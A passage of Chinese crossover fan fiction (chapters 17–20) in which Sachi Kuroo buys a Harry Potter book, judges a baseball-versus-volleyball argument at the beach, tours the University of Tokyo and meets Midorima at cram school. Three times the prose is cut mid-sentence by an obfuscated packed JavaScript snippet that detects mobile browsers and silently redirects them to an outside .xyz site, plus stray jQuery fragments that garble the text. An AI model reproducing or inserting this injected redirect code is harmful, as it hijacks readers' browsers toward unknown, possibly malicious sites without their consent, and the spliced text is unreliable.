“这个三花猫猫头的是研磨的。”她将一个圆滚滚的零钱包塞进孤爪研磨手中:“这个笑眯眯黑猫猫头的是哥哥的。” “最后这个奶牛猫的是我的......”她边说边展示着自己的作品,脸上写满自豪。 三个零钱包虽然针脚有些歪歪扭扭,但都能看出制作者的用心,特别是猫猫脸上的表情,活灵活现得可爱。 “竟然还有我的,呜呜呜呜我们纱季真的长大了。“”黑尾铁朗夸张地把零钱包捧在胸前,做出一副感动得热泪盈眶的样子。 他浮夸的表演让旁边两人不约而同地打了个寒颤,孤爪研磨甚至默默往旁边挪了挪。 “他昨天看了什么电视节目吗?”孤爪研磨忍不住扭头小声询问。 黑尾纱季额角垂下三道黑线:“......和妈妈看了一些狗血电视剧吧。” 她对哥哥突如其来的戏剧化表现同样感到无语。 “难怪。”孤爪研磨一脸恍然大悟的表情。 “喂喂喂,你们在说什么!”黑尾铁朗不满地嚷嚷起来,结果只换来两对默契的白眼。 ...... 零钱包投入使用后,黑尾纱季开始把积攒的零花钱都存放在里面。 这个习惯源于她最近的一个小目标—— 上周路过书店时,她发现最爱的《哈利·波特》系列第六部《哈利·波特与混血王子》已经上架,作为这个系列的忠实读者,购买新书自然被列入了她的首要计划。 黑尾纱季对《哈利·波特》的热爱可以追溯到她刚上国小的时候。 那时父亲黑尾拓真去大阪出差,回来时给她带了几本这个系列的书籍。 已经识字不少的小纱季很快就被书中神奇的魔法世界吸引,甚至挑灯夜战几个晚上,一口气读完了父亲带回来的所有《哈利·波特》故事。 “我十一岁的时候能收到猫头鹰的来信吗?”那段时间,这句话几乎成了黑尾纱季的口头禅。 她每天都会检查窗台,生怕错过任何一只可能来送信的猫头鹰。 在得知《哈利·波特》还被拍成电影后,她毫不犹豫地拿出所有积蓄,租来DVD光盘,拉着哥哥和孤爪研磨一起观看。 电影中生动的情节和奇幻的设定很快也征服了另外两个小伙伴,黑尾铁朗对魁地奇比赛格外着迷,而孤爪研磨则对巫师棋产生了浓厚兴趣。 三人常常在游戏时间模仿电影中的情节,用扫帚当飞天扫帚,在院子里飞行。 在《哈利·波特》第六部出版前的预热期,黑尾纱季就开始有计划地存钱,现在钱终于存够了,她迫不及待地要在周末实施购买计划。 那个周六的清晨,阳光刚刚洒满街道,黑尾纱季就活力十足地拉着黑尾铁朗和孤爪研磨出门了。 三人制定了周密的行程:先去体育用品店买黑尾铁朗心心念念的新护膝,接着去书店购买《哈利·波特》,最后再去游戏商店给孤爪研磨买他期待已久的游戏卡带。 一想到马上就能得到各自心仪的东西,三人都格外兴奋。 就连平时最不爱运动的黑尾纱季也脚步轻快,时不时小跑几步,惹得身后两人连连提醒她慢点。 体育用品店里,黑尾铁朗认真比较着各种护膝的材质和功能,最终选择了一款他认为最舒适又最帅气的款式(虽然黑尾纱季觉得所有护膝看起来都差不多)。 “好了好了,接下来就是书店啦!”黑尾纱季兴奋地握紧拳头,一马当先走在最前面。 她的心跳随着距离书店越来越近而不断加速,脑海中已经开始想象新书捧在手中的感觉。 “难得见到纱季这么有活力的样子。”黑尾铁朗在后面笑着摇头,和孤爪研磨交换了一个默契的眼神。 孤爪研磨微微点头表示赞同,目光却一直追随着前方那个雀跃的身影。 距离书店还有一段距离,三人就看到了橱窗上贴满的《哈利·波特与混血王子》海报。 以绿色为主调的设计格外醒目,黑尾纱季的脚步不自觉地慢了下来,她转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449652|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面对两个同伴,眼睛里闪烁着期待的光芒。 “我要进去了!”她的声音因为兴奋而微微发颤。 “去吧去吧,我们在外面等你。”黑尾铁朗双手插兜,和孤爪研磨并肩站在书店门口。 他们都知道,对于黑尾纱季来说,选购《哈利·波特》新书是一件需要全神贯注的庄严仪式。 书店里,《哈利·波特与混血王子》被摆放在最显眼的位置,旁边立着两个巨大的宣传展架。 黑尾纱季深吸一口气,空气中弥漫着新书特有的油墨香气。她小心翼翼地拿起一本,感受着封面略带磨砂的质感,然后将它紧紧抱在胸前,像是拥抱着一个珍贵的梦想。 然而变故发生在付款的那一刻。 当黑尾纱季打开她心爱的奶牛猫零钱包时,发现里面的硬币不翼而飞。 仔细检查后,她在零钱包底部发现了一个小洞——显然,硬币就是从这个漏洞中悄悄溜走的。 一瞬间,黑尾纱季的大脑一片空白。 她机械地翻遍所有口袋,却只摸到冰凉的布料。 啊,钱掉了呢......这个念头在她脑海中无限循环,难堪、懊恼、心痛等各种情绪如潮水般涌来,让她几乎忘记了呼吸。 后面排队顾客的催促声将她拉回现实。 正当她红着脸准备归还书籍时,一只熟悉的手伸过来,在收银台上放了一把零钱,正好是书的价钱。 抬头看去,孤爪研磨和黑尾铁朗不知何时已经站在她身旁。 走出书店后,黑尾纱季内疚地看着孤爪研磨:“那研磨的卡带......” “无所谓,反正我这里还有好多没玩的。”孤爪研磨将脸埋进竖起的衣领里,声音闷闷的,目光却始终没有离开不远处的一根电线杆。 黑尾纱季知道这是他说谎时的习惯动作——他明明期待那张卡带很久了。 见状,黑尾铁朗轻轻揉了揉妹妹的头发:“那我们过两天跟妈妈借钱给研磨一个惊喜好了。” 他在妹妹耳边小声提议。 黑尾纱季无声地点头,暗下决心回家就向母亲借钱,明天就去买卡带。 但现在,她必须先解决一个迫在眉睫的问题...... “你们把零钱包都给我吧。”她垂着头伸出手,声音里满是沮丧。 黑尾铁朗和孤爪研磨困惑地交出各自的零钱包:“怎么了?” 仔细检查确认他们的零钱包完好无损后,黑尾纱季松了口气,将两个钱包小心收好:“我的没缝好漏了个洞,我回去问问五月怎么补救,再给你们加固一下。” 黑尾铁朗没再多说什么,只是又揉了揉妹妹的头发。 ...... 深夜,黑尾纱季红着眼睛抽泣着,手中的纸巾已经湿透。 为什么《哈利·波特》系列从第四部开始风格就变得这么黑暗?为什么邓布利多必须死去?这些念头在她脑海中盘旋不去。 书中那位睿智老人从高塔坠落的场景在她眼前挥之不去,眼泪再次决堤而出。 一个国小女生为什么要承受如此虐心的剧情?她抽噎着合上书,躲进被子里,生怕哭声惊扰到隔壁熟睡的家人。 泪水中,她不知不觉进入梦乡,梦里全是绿色的闪光和白色的胡须。 第二天清晨,镜子里那双红肿的眼睛让黑尾纱季陷入沉默。 完蛋了,该怎么解释自己昨晚熬夜看书还哭成这样的惨状? 果然,下楼时黑尾铁朗一看到妹妹的样子就大惊失色:“纱季,不至于不至于,只是零钱包坏了哈,大不了下个月的零花钱我都借给你!” “......我说我是看书看哭的你信吗?”黑尾纱季沉默片刻后试探着问。 “你说是就是吧。“”黑尾铁朗嘴上这么说,脸上却写满了我一个字都不信。 他这副模样反而把黑尾纱季逗笑了,兄妹俩的笑声在清晨的厨房里回荡。 18.棒球还是排球 如果说对于暑假的行程安排有什么建议的话,黑尾纱季一定会毫不犹豫地举起双手,用最雀跃的声音告诉你:“那就去海边啊!” 对于任何一切运动都苦手的黑尾纱季自然是不会游泳的,但这丝毫不影响她抱着一个游泳圈在浅水区玩得不亦乐乎。 每当海水轻轻拍打在她的小腿上,那种微凉的触感总能让她开心得眯起眼睛,对她来说,海边就是夏日里最完美的乐园。 暑假的海边总是热闹非凡。 碧蓝如洗的天空如同一块巨大的蓝宝石,倒映在同样湛蓝清澈的海面上,海天一色的景象让人心旷神怡,一阵阵带着咸味的海风轻抚过脸颊,掀起层层叠叠的白色浪花,温柔地拍打着金色的沙滩。 沙滩上挤满了来自各地的游客,孩子们欢快的笑声和海浪的声音交织在一起,谱写出夏日最动人的乐章。 “哥哥,我们快下水吧!”黑尾纱季兴奋地抱着黑尾明美刚刚给她买的大白鸭游泳圈,这个游泳圈是她精心挑选的,圆滚滚的大白鸭造型憨态可掬,让她爱不释手。 平日里总是安静沉稳的她,此刻难得展现出符合年龄的活泼一面。 同样满眼兴奋的黑尾铁朗握紧拳头,大声“哦”了几声作为回应。 他三步并作两步地冲向海水,一个漂亮的鱼跃就扎进了波浪之中,他像一条灵活的海豚在水中穿梭。 黑尾纱季站在岸边,看着哥哥在水中畅游的身影,不由得撇了撇嘴。 她总觉得黑尾家这一代的运动基因都被哥哥一个人独占了,不过这个念头很快就被抛到脑后,她小心翼翼地把大白鸭游泳圈套在身上,确认牢固后,也学着哥哥的样子小跑着冲进海里。 冰凉的海水瞬间包裹住她的身体,让她忍不住打了个激灵,但很快就适应了这份清凉。 黑尾纱季今天穿的是她最喜欢的嫩黄色连体泳衣。 这件泳衣的下摆设计别出心裁,叠了好几层轻薄的布料,在水中飘荡时就像一朵刚刚绽放的黄色小花,随着水波轻轻摇曳。 此刻,她正惬意地漂在海面上,眯着眼睛享受着阳光的温暖。 她不由自主地晃动着双脚,感受着水流从脚趾间穿过的奇妙触感,正当她沉浸在这份悠闲中时,突然一捧冰凉的海水毫无预警地泼在她脸上。 “啊!”黑尾纱季惊叫一声,猛地睁开眼睛。 不用想也知道,罪魁祸首一定是她那调皮的哥哥,她用手抹掉脸上的海水,果然看到不远处的黑尾铁朗正坏笑着看她。 “你很无聊吗?”黑尾纱季无奈地瞪着哥哥。 回应她的是黑尾铁朗又一捧泼过来的海水,这次他故意把水花扬得更高。 “啧!“”黑尾纱季不甘示弱地站起来,海水顺着她的发梢滴落。 她弯下腰,双手并拢舀起一大捧水,用力朝哥哥的方向泼去,兄妹俩就这样在海里展开了一场激烈的水仗。 不远处,黑尾明美正悠闲地躺在遮阳伞下,手里捧着一杯冰镇柠檬汁,她笑眯眯地看着在海里嬉戏的兄妹俩,转头对身旁的丈夫说:“每年只要来海边,纱季的性子就会活泼起来呢,你看她现在多开心。” “这个臭小子。”黑尾拓真嘴上这么说着,眼里却满是笑意,他注意到儿子虽然玩得兴起,却始终小心翼翼地控制着水花的力度,明显是在让着妹妹。 黑尾明美低头看了看腕表:“看时间,一也那孩子应该到了吧?” 今天是个特别的日子。 御幸一也的父亲难得从繁忙的工厂事务中抽出身来,可以带孩子出来玩,两家人早就约定好了要在海边见面。 自从黑尾一家搬到东京后,这还是他们第一次和御幸家聚会,平时孩子们只能通过电话和信件联系,这次难得的相聚让大家都格外期待。 海里的水仗还在继续,黑尾纱季正全神贯注地向哥哥泼水,突然听到岸边传来一阵熟悉的笑声。 兄妹俩同时转头望去,只见一个戴着黑框眼镜的男孩正站在沙滩上,镜片后的眼睛笑得弯弯的。 “一也!”黑尾纱季惊喜地叫出声来,顾不上继续和哥哥玩水,立刻转身扶着游泳圈向岸边跑去。 ”哟,纱季,好久不见呢。”御幸一也笑着挥手打招呼。 黑尾铁朗也慢慢游了过来,上下打量着这位老朋友。 当初住在西东京时,他和御幸一也经常一起玩耍,虽然关系不错,但比起黑尾纱季和御幸一也的亲密程度还是稍逊一筹。 “怎么感觉,一也你长高了......”黑尾纱季在御幸一也面前停下脚步,仰着头仔细比对着两人的身高差,脸上露出困惑的表情。 她明明记得上次见面时自己还比对方高出半个头呢。 御幸一也得意地哼了一声,握拳轻轻敲了敲黑尾纱季的头顶:“早就说过我还会长个子的!” 这个动作让他们同时想起以前因为身高问题斗嘴的日子,那时候黑尾纱季可没少拿身高差来取笑他。 黑尾铁朗抓住机会插话:“看吧纱季,我都说你要多运动才能长高,一也不是现在在打棒球吗?运动果然有助于生长发育。” 他总是不放过任何一个劝说妹妹参加运动的机会。 鼓着腮帮子瞪了两人一眼,黑尾纱季突然注意到御幸一也鼓鼓囊囊的短裤口袋。 她指着那个可疑的凸起,难以置信地问:“一也,你该不会把棒球带到海边来了吧?!” “当然带了。”御幸一也大方地从口袋里掏出一个白色的小棒球,在两手之间熟练地抛接起来。 “真是服了你们了。”黑尾纱季无奈地耸耸肩:“难得来海边放松,怎么一个两个都这样啊。” 她想起出发前收拾行李时,哥哥也曾试图把排球塞进行李箱,最后在全家人的一致反对下才悻悻作罢。 看到御幸一也真的把棒球带来了,黑尾铁朗眼睛一亮,用炽热的目光看向妹妹,仿佛在说:“看吧!真的会有人把球带到海边玩的!” 黑尾纱季假装没看懂哥哥的眼神暗示,故意移开视线望向远处的海平线,她可不想在海边还要陪他们玩什么球类运动。 从小一起长大的默契让御幸一也一眼就看穿了这对兄妹的无声交流。 他忍不住笑出声来,随即热情地邀请道:“纱季要不要试试棒球?你应该还没玩过吧?我们去那边人少的地方,我教你最简单的玩法。” 看出好友的犹豫,他赶紧补充:“放心,一点都不累,你只要站着扔球给我接就行。” 黑尾纱季转头看了看满脸期待的黑尾铁朗,又看了看兴致勃勃的御幸一也,终于勉强点头:“好吧,就玩一会儿。” 她在心里暗暗决定,只要觉得累了就立刻喊停。 三人跟父母打过招呼后,黑尾纱季把心爱的大白鸭游泳圈放在妈妈身边,跟着两个男生向人少的沙滩区域走去。 一路上,她听着前面两人热烈的讨论,脚步不自觉地放慢了。 “原来一也你是捕手啊,我还以为你会是投手或者击球手呢,感觉那些位置更帅气!”黑尾铁朗挥舞着拳头。 “捕手才是最帅的好吗!”御幸一也立刻反驳,声音不自觉地提高了八度。 他开始滔滔不绝地讲解捕手在比赛中的关键作用,手势夸张地比划着各种接球姿势。 “好了,纱季你就站在这里不要动,然后把球扔给我!”御幸一也把球递给黑尾纱季后,小跑到不远处,蹲下身子做出标准的捕手姿势,手套张开,眼神专注地望向她。 黑尾纱季握着球犹豫了片刻,最后用尽全力把球朝御幸一也的方向扔去。 白色的球体在空中划出一道抛物线,最后稳稳落入御幸一也的手套中,发出清脆的啪声。 “这也太无聊了吧!!!”黑尾纱季忍不住抱怨道。 她实在无法理解这种重复投接的乐趣在哪里,这让她想起之前在河堤边的类似经历,当时她也是这样机械地把球抛给孤爪研磨,再由他传给黑尾铁朗扣球,单调的动作重复了无数遍。 听妹妹这么说,黑尾铁朗立刻得意地叉腰挺胸:“所以还是排球有意思吧,纱季?” 黑尾纱季一时语塞,最后面无表情地说:“不,都一样无聊。” “怎么可能!“”黑尾铁朗瞪大眼睛,脸上写满了不可思议:“排球明明超级有意思好吗!” “排球也就那样啦,棒球才是最有魅力的运动!”御幸一也不甘示弱地加入争论。 他收起球,走到黑尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461701|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁朗面前,两人之间的气氛突然变得剑拔弩张。 两个男生就这样对峙着,目光在空中交汇,仿佛能看见实质性的火花,周围的空气似乎都凝固了,连海浪的声音都变得遥远。 黑尾铁朗冷哼一声,开始如数家珍地列举排球的种种优点,平时国文成绩平平的他,此刻却妙语连珠,排比句一个接一个,论点论据条理分明,把排球运动分析得头头是道。 站在一旁的黑尾纱季看得目瞪口呆。 她想,如果黑尾铁朗的国文老师看到这一幕,一定会感动得热泪盈眶——原来这个学生在辩论时能发挥出如此出色的语言表达能力。 御幸一也当然不会轻易认输,他不仅详细阐述了棒球的魅力所在,还引用了国内外各种数据和案例来佐证自己的观点。 说到激动处,他甚至手舞足蹈地比划起来,仿佛置身于激烈的比赛现场。 黑尾纱季听着两人你来我往的辩论,不禁为他们的口才感到惊叹。 这两个平时被老师称为学渣的男生,此刻的论述却逻辑严密、引经据典,若是把这份劲头用在国文考试上,拿高分绝对不在话下。 辩论持续了将近二十分钟,两人终于说得口干舌燥,但谁都不肯先认输。 他们喘着粗气,依然不服气地瞪着对方,仿佛要用眼神决出胜负。 突然,两人像是灵光一闪,同时转头看向一直被忽略的黑尾纱季,异口同声地说:“纱季!你来评评理!” “评什么理......?”黑尾纱季被这突如其来的点名弄得一头雾水。 “当然是评哪个运动更有趣啊!是排球还是棒球!”两人又一次同步发声,说完还不忘互相瞪视一眼,空气中弥漫着浓浓的火药味。 “......”黑尾纱季张了张嘴,却不知该如何回答。 这一刻,黑尾纱季感觉自己被推上了一个危险的审判台。 面前的两个男生就像古希腊神话中的复仇女神,无论她偏向哪一方,都会招致另一方的报复。 海风突然变得凛冽,她不由自主地打了个寒颤。 经过一番激烈的思想斗争,黑尾纱季决定遵从内心最真实的想法。 她深吸一口气,用平静得近乎冷漠的语气宣布:“我觉得都很无聊。” “什么?!纱季你竟然这么想!”黑尾铁朗的反应和之前听说排球无趣时一模一样,脸上写满了难以置信。 “纱季你这是对棒球了解太少了!棒球真的超级有趣的!”御幸一也急切地把手搭在黑尾纱季肩上,那架势仿佛恨不得立刻把她拖去甲子园看一场现场比赛,好让她亲身体验棒球的魅力。 黑尾纱季无奈地叹了口气,摊开双手坦白道:“可是我真的觉得一点意思都没有啊......我已经很努力尝试了......” 看着面前两个深受打击的男生,黑尾纱季突然感到一丝愧疚。 她轻咳两声,试图缓和气氛:“那个......要不这样......” “嗯?”两人同时抬起头,眼睛里重新燃起希望的火苗,不知为何,黑尾纱季突然联想到邻居家那只总是用湿漉漉眼神望着人的小狗。 “等你们打进全国大赛的时候,我一定去现场观战!那时候我肯定就能明白棒球和排球的乐趣所在了!”黑尾纱季信誓旦旦地保证道,甚至还郑重其事地点了点头。 “全国大赛?”两人异口同声地反问。 黑尾纱季丝毫不怀疑这两位好友未来的发展,看他们现在对各自运动的热爱程度,她确信他们一定会坚持到底。 于是她继续解释道:“一定是你们现在还不够专业啦,等你们打进全国大赛,成为真正的专业选手后,比赛一定会精彩得让我移不开眼睛!” 完全没想到黑尾纱季会使出拖延战术的两人对视一眼,眼中重新燃起斗志。 他们不约而同地大声宣布:“那就这么说定了!等我们打进全国大赛的时候,一定要让你这家伙心服口服地承认,棒球/排球才是世界上最有趣的运动!!!” 远处的海浪轻轻拍打着沙滩,仿佛在见证这个充满青春气息的誓言。 谁也不知道,这个看似随意的约定,将会在未来以怎样意想不到的方式实现。 19.目标是东大! 最近学校组织三年级的学生到东京大学进行为期一天的修学旅行,虽然时间不长也不是去外地,但足以让黑尾纱季期待得辗转反侧。 这将是黑尾纱季人生中第一次参加修学旅行。 去年当哥哥黑尾铁朗参加修学旅行时,她就已经眼巴巴地羡慕了好久,今年黑尾铁朗他们四年级的修学旅行更是令人向往——千叶三天两夜的行程! 光是想象就让人心痒难耐。 不过,凡事总要有个开始,黑尾纱季乐观地想,有了这次的修学旅行经历,以后肯定还会有更多机会。 等她升入国中,说不定就能去冲绳看碧蓝的大海,或是去北海道赏雪。 怀着这样雀跃的心情,修学前一天晚上,黑尾纱季就和母亲黑尾明美一起精心准备了书包。 她们往里面塞满了各种零食:酥脆的薯片、香甜的巧克力、酸甜的水果软糖......每一样都是黑尾纱季的最爱。 黑尾明美还细心地准备了雨伞、手帕、创可贴等应急物品,甚至连备用发圈都准备了好几个。 “纱季修学回来记得给家里带伴手礼呀。”黑尾明美温柔地笑着,伸手轻轻揉了揉女儿柔软的发丝,眼中满是宠溺。 黑尾纱季无奈地叹了口气:“我尽量,不过可能会很难。学校规定最多只能带2000日元,感觉什么都买不到呢。” 她皱着小脸,掰着手指计算着可能的开销。 “如果有冰箱贴什么的,可以买一个,我们一起挂在冰箱上!”一直在旁边默默观察的黑尾铁朗突然插话,他去年修学旅行时就带回了这样的纪念品:“小小的不占地方,价格也合适。” “如果价格合适的话。”黑尾纱季歪着头思考片刻,眼睛突然亮了起来:“这个主意不错!” 为了养精蓄锐迎接明天的行程,黑尾纱季比平时提前了一个小时上床。 然而躺在柔软的被窝里,她的思绪却像脱缰的野马般停不下来,她把被子拉到鼻尖,只露出一双明亮的眼睛盯着天花板,脑海中不断浮现出对明天的种种想象。 东京大学会是什么样子?会不会遇到有趣的人?午餐便当会是什么口味?万一迷路了怎么办?如果突然下雨没带伞......这些念头在她脑海中交织盘旋,让她辗转反侧。 时钟的指针悄悄划过十一点半,黑尾纱季依然清醒得像只夜猫子。 “不能再想了,不能再想了......”她一把抱住床头的小熊玩偶,把发烫的脸颊贴在柔软的绒毛上,深深地呼出一口气,强迫自己平躺回枕头上,黑尾纱季开始数羊,试图清空过于活跃的大脑。 ...... 当黑尾纱季再次睁开眼睛时,闹钟还没有响起。 她揉了揉惺忪的睡眼,看向床头的闹钟,距离预定时间还有整整十分钟,虽然昨晚睡得很晚,但此刻她却异常清醒,完全没有想象中的困倦。 “神奇的大脑......”她小声嘀咕着,轻手轻脚地关掉闹钟,生怕吵醒隔壁房间的哥哥。 洗漱完毕换好校服后,黑尾纱季发现母亲已经在厨房忙碌。 餐桌上摆着她最爱的早餐,金黄酥脆的吐司上涂抹着厚厚一层香浓花生酱,旁边是一颗完美的流心煎蛋,蛋黄在灯光下泛着诱人的光泽。 “呜呜呜呜谢谢妈妈!”黑尾纱季感动得眼眶湿润,像只撒娇的小猫般蹭到母亲身边:“我觉得我现在就是全天下最幸福的小女孩!” 黑尾明美被女儿夸张的反应逗笑了,她端着早餐坐到女儿对面:“好啦,赶紧吃,一会儿还要赶电车呢。” 烤得恰到好处的吐司在齿间发出清脆的声响,浓郁的花生酱与酥脆的面包完美融合,再配上一口嫩滑的煎蛋,黑尾纱季幸福地眯起眼睛,发出满足的哼声。 匆匆解决完早餐,黑尾纱季背上昨晚就准备好的书包,给了母亲一个大大的拥抱后,像只欢快的小鸟般飞出了家门。 刚出门,她就看到邻居孤爪研磨正靠在围墙边,低着头全神贯注地玩着游戏机。 “研磨!”黑尾纱季小跑过去,好奇地探头看向游戏屏幕,发现是款操作难度极高的动作游戏后,立刻失去兴趣站直了身子。 “我们今天要自己坐电车去东大校门口集合。”她的声音里带着一丝不安:“这还是我第一次去那边,希望不会走错路。” 昨晚的胡思乱想似乎留下了后遗症,让她对未知的旅程有些忐忑。 孤爪研磨默默将游戏机收回书包,掏出一张折叠整齐的纸条展开,上面是用工整字迹标注的从家到东京大学的详细路线图。 “没事。”他轻声说:“我提前查过了。” “呜哇,好细心!不愧是研磨!”黑尾纱季的眼睛瞬间亮了起来,有了可靠朋友的准备,她心中的不安顿时消散了大半。 然而,早高峰的电车给了两个小学生当头一棒。 拥挤的车厢里,他们像沙丁鱼般被挤在人群中,黑尾纱季甚至感觉自己的脸颊贴在了冰冷的车窗上。 当两人终于艰难地从电车上挤下来时,黑尾纱季感觉自己就像被榨干水分的蔬菜,蔫蔫地耷拉着脑袋。 “早高峰的电车......太可怕了。”她心有余悸地咽了咽口水,整理着被挤得皱巴巴的校服。 身旁的孤爪研磨同样脸色发白,默默点头表示赞同,他黑色的发丝都因为拥挤变得乱糟糟的,像只受惊的小猫。 不过,当他们走到东大门口,看到其他同学也都是同样萎靡不振的样子时,黑尾纱季的心情又诡异地好转起来。 她突然理解了为什么人们常说“不幸被分担就会减半”,看到大家都经历了同样的磨难,反而觉得这不过是成长必经的小插曲罢了。 等所有学生到齐后,大家按班级列队开始参观这座日本最高学府。 东京大学的校园建筑古朴典雅,红砖墙上爬满了常春藤,处处彰显着历史的厚重感,阳光透过茂密的树冠,在地面投下斑驳的光影,仿佛在演奏一曲光与影的华尔兹。 “哇,走到这里都不敢大声说话了。”桃井五月压低声音,凑近黑尾纱季耳边说道,她睁大眼睛四处张望,生怕错过任何细节。 确实,校园里行色匆匆的大学生们与这群叽叽喳喳的小学生形成鲜明对比。 置身于这样的学术殿堂,黑尾纱季不禁幻想,如果将来我也能在这里学习会怎样? 这个念头一旦产生,就像种子般在她心中生根发芽,就连一向沉迷游戏的孤爪研磨也难得地收起了游戏机,认真聆听老师的讲解。 “东京大学拥有三个校区:本乡、驹场和柏......”带队老师的声音在古老的建筑间回荡,“虽然驹场校区有教养学部和后勤设施,柏校区专注于先进技术研究,但只有本乡校区对外开放。” 这些对三年级小学生来说还有些深奥的知识,像细雨般滋润着他们的心田。 此刻的他们或许还无法完全理解东大的意义,但这座学府庄严的氛围已经深深印刻在每个人的心中,这颗名为梦想的种子,将在未来岁月里慢慢生长。 参观图书馆时,所有人都下意识地放轻了脚步。 高耸的书架像巨人般矗立,空气中弥漫着纸张与墨水特有的香气,黑尾纱季仰头望着那些直达天花板的书架,眼中闪烁着渴望的光芒。 她从不知道世界上竟有这么多书,更无法想象这些书中蕴含着怎样的知识宝藏。 走出图书馆后,黑尾纱季突然抓住孤爪研磨的手,眼中闪烁着坚定的光芒:“我以后一定要考上东大!” “哈?你以为东大是随便就能考上的吗?”路过的青峰大辉毫不留情地泼冷水,结果立刻被桃井五月狠狠锤了一拳,痛得弯下腰说不出话来。 “纱季加油!你成绩这么好,肯定没问题的!”桃井五月握紧拳头为好友打气。 “呜呜呜呜五月QAQ”黑尾纱季感动得一把抱住好友,两个女孩像小动物般亲昵地蹭着脸颊,把孤爪研磨晾在了一边。 这次修学旅行给黑尾纱季带来的震撼远超预期。 回程的电车上,她一直沉浸在思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467245|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪中,窗外的景色飞速后退,而她的心却停留在那座红砖校园里。 “研磨。”她突然开口,声音里带着前所未有的认真:“我说我想考东大是认真的,你相信吗?” 孤爪研磨抬起那双猫般的金色眼眸,两人静静对视片刻后,他移开视线轻声说:“加油。” “所以你是相信我的对吧?”黑尾纱季急切地抓住好友的手臂追问。 “因为相信你,所以才给你加油。”孤爪研磨的声音几不可闻,但足以让黑尾纱季心花怒放。 这份喜悦在回到家后达到了顶峰。 当黑尾纱季向家人宣布自己的新目标时,父母眼中流露出欣慰的光芒,而哥哥的反应则让她哭笑不得。 “我也要和纱季一起上东大!”黑尾铁朗拍着胸脯宣布,仿佛在发表什么重大宣言。 父亲黑尾拓真毫不留情地吐槽:“就你这个成绩,能考上大学就已经谢天谢地了。” 但转向女儿时,他的眼神立刻柔和下来:“纱季,之前你很苦恼不知道未来想做什么,现在看到你找到目标,我和你妈妈都很高兴。哪怕只是一个大学目标,也是你人生重要的第一步。” 黑尾纱季的眼眶再次湿润,她扑进家人温暖的怀抱,感受着无条件的爱与支持。 情绪平复后,黑尾纱季提出了更具体的计划:“我想报个补习班。要考东大的话,现在的成绩还不够。” “纱季你成绩这么好还要补习?”黑尾铁朗瞪大眼睛,仿佛听到了什么天方夜谭:“你这是自找苦吃啊!” “就像哥哥为了打好排球去排球教室一样。”黑尾纱季无奈地解释:“我现在是去属于我的''东大教室''。” 看着哥哥依然一脸我妹妹疯了的表情,黑尾纱季的拳头不自觉地硬了起来,她深吸一口气,决定不跟这个排球笨蛋一般见识。 ...... 黑尾夫妇的行动力令人惊叹。 短短几天后,黑尾拓真就为女儿找到了一家口碑极佳的补习学校,这里的学生从小学到高中都有,目标都是冲刺名校。 黑尾纱季的行动同样迅速,第二天,她就和母亲一起前往补习学校办理入学手续。 前台的老师热情地带领她们参观校园:“这个年纪就立志考东大的学生不多,所以我们小学部只有一个班,大部分学生都是中学后才来的。” 推开教室门,里面只有七八个学生,每个人都专注地埋头学习。 黑尾纱季好奇地打量着这个将陪伴她追逐梦想的地方,虽然环境与哥哥去的补习班相差无几,但她心中却涌起一股庄严感,这里是她梦想开始的地方。 老师安排她坐在一个绿色头发、戴眼镜的男孩旁边。 男孩坐姿端正,面前整齐摆放着文具和课本,最引人注目的是桌上那个粉色兔子玩偶,与男孩严肃的气质形成奇妙的反差。 “你好,我是黑尾纱季。”她礼貌地自我介绍道。 “绿间真太郎。”男孩简短回应,推了推眼镜。 黑尾纱季忍不住多看了几眼那个可爱的兔子玩偶。 似乎是察觉到她的目光,绿间主动解释道:“这是今天的幸运物。” “幸运物?”这个新名词引起了黑尾纱季的兴趣。 绿间真太郎耐心讲解了晨间占卜和幸运物的概念,听得黑尾纱季两眼放光。 “我明天也要试试看!”她立刻拿出笔记本记下电视频道,决定从明天开始关注星座运势。 看着黑尾纱季认真的样子,绿间真太郎嘴角微微上扬,又迅速恢复平静,故作镇定地推了推眼镜。 这个细微的表情变化没能逃过黑尾纱季的眼睛,她在心中暗笑,原来绿间同学是个傲娇啊。 就这样,在修学旅行后的日子里,黑尾纱季的生活翻开了新的篇章。 东京大学的红砖墙、图书馆的书香、补习班的新朋友......这一切都像拼图般,慢慢拼凑出她未来的模样。 虽然前路漫长,但此刻的她,已经迈出了追逐梦想的第一步。 20.不良少年 自从黑尾纱季在绿间真太郎的带动下养成每日清晨收听晨间占卜的习惯后,他们的友情肉眼可见地迅速升温。 每当起床以后,黑尾纱季就会准时打开收音机,听着主持人用温柔的声音播报今日星座运势。 在补习班课间时分,两人的话题总是围绕着幸运物、星座运势等充满神秘色彩的内容展开。 